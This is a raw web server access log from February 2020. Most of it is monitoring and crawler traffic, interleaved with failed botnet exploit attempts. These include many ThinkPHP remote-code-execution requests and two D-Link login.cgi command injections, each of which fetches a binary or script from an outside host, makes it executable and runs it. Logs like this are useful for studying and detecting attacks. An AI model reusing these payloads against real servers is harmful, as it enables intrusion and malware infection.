1.55.73.111 - - [07/Feb/2020:10:35:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.76.200.7 - - [07/Feb/2020:10:37:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.56.155.86 - - [07/Feb/2020:10:38:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:10:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [07/Feb/2020:10:39:01 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
41.220.241.102 - - [07/Feb/2020:10:39:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
139.162.106.181 - - [07/Feb/2020:10:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
5.101.0.209 - - [07/Feb/2020:10:39:22 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [07/Feb/2020:10:39:25 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
59.90.24.134 - - [07/Feb/2020:10:39:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [07/Feb/2020:10:39:44 +0100] "GET /serverinfo/HtmlAdaptor?action=displayServerInfos HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:10:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.201.110.218 - - [07/Feb/2020:10:43:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:10:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.66.105.177 - - [07/Feb/2020:10:45:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:10:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.172.30.146 - - [07/Feb/2020:10:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:10:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.122.164 - - [07/Feb/2020:10:52:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:10:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [07/Feb/2020:10:55:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:10:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:10:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.12.171.64 - - [07/Feb/2020:10:58:38 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:39 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:43 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:43 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:44 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:44 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:46 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:47 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.171.64 - - [07/Feb/2020:10:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:10:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.152 - - [07/Feb/2020:11:05:13 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.150 - - [07/Feb/2020:11:05:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [07/Feb/2020:11:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.213.125.127 - - [07/Feb/2020:11:07:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:11:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.223.46 - - [07/Feb/2020:11:08:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.57.36.98 - - [07/Feb/2020:11:09:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:11:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.220.53.51 - - [07/Feb/2020:11:11:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [07/Feb/2020:11:15:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.65.79 - - [07/Feb/2020:11:15:21 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.79 - - [07/Feb/2020:11:15:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [07/Feb/2020:11:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.107 - - [07/Feb/2020:11:15:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.180.128 - - [07/Feb/2020:11:16:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.170.31 - - [07/Feb/2020:11:16:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.22.93 - - [07/Feb/2020:11:23:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.223.212 - - [07/Feb/2020:11:23:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.226.161 - - [07/Feb/2020:11:25:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.169.1.223 - - [07/Feb/2020:11:27:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.22.112.62 - - [07/Feb/2020:11:37:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
62.240.7.41 - - [07/Feb/2020:11:38:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:11:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.126.103.73 - - [07/Feb/2020:11:40:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:11:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.47.74.254 - - [07/Feb/2020:11:42:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.126.59 - - [07/Feb/2020:11:45:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.65.131 - - [07/Feb/2020:11:45:53 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.131 - - [07/Feb/2020:11:45:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [07/Feb/2020:11:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.201.161.107 - - [07/Feb/2020:11:46:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.227.180 - - [07/Feb/2020:11:47:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.85.51.226 - - [07/Feb/2020:11:48:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.225.186.221 - - [07/Feb/2020:11:52:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:11:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:11:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [07/Feb/2020:11:53:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
